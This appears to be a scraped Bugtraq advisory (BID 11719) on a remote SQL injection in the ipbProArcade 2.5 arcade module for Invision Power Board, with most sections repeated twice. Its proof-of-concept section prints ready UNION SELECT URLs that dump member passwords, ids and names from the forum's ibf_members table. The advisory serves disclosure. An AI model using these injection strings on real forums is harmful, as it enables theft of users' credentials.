IPBProArcade Remote SQL Injection Vulnerability
BID:11719
Info
IPBProArcade Remote SQL Injection Vulnerability
| Bugtraq ID: | 11719 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 20 2004 12:00AM |
| Updated: | Nov 20 2004 12:00AM |
| Credit: | Disclosure of this issue is credited to axl daivy <[email protected]>. |
| Vulnerable: |
ipbProArcade ipbProArcade 2.5 |
| Not Vulnerable: | |
Discussion
IPBProArcade Remote SQL Injection Vulnerability
A remote SQL injection vulnerability reportedly affects ipbProArcade. This issue is due to a failure of the application to properly sanitize user-supplied input prior to including it in an SQL query.
An attacker may leverage this issue to manipulate SQL query strings and potentially carry out arbitrary database queries. This may facilitate the disclosure or corruption of sensitive database information.
A remote SQL injection vulnerability reportedly affects ipbProArcade. This issue is due to a failure of the application to properly sanitize user-supplied input prior to including it in an SQL query.
An attacker may leverage this issue to manipulate SQL query strings and potentially carry out arbitrary database queries. This may facilitate the disclosure or corruption of sensitive database information.
Exploit / POC
IPBProArcade Remote SQL Injection Vulnerability
No exploit is required to leverage this issue. The following proof of concept exploits have been provided:
For modules installed on Invision Power Board versions 1.X:
http://site.com/index.php?act=Arcade&cat=-1%20UNION%20SELECT%200,0,password,id,name,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20ibf_members/*
For modules installed on Invision Power Board versions 2.X:
index.php?act=Arcade&cat=-1%20UNION%20SELECT%200,0,legacy_password,id,name,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20ibf_members/*
No exploit is required to leverage this issue. The following proof of concept exploits have been provided:
For modules installed on Invision Power Board versions 1.X:
http://site.com/index.php?act=Arcade&cat=-1%20UNION%20SELECT%200,0,password,id,name,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20ibf_members/*
For modules installed on Invision Power Board versions 2.X:
index.php?act=Arcade&cat=-1%20UNION%20SELECT%200,0,legacy_password,id,name,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20ibf_members/*
Solution / Fix
IPBProArcade Remote SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
IPBProArcade Remote SQL Injection Vulnerability
References:
References:
- ProArcade Home Page (ProArcade)
- IpbProArace 2.5.x SQL injection. (axl daivy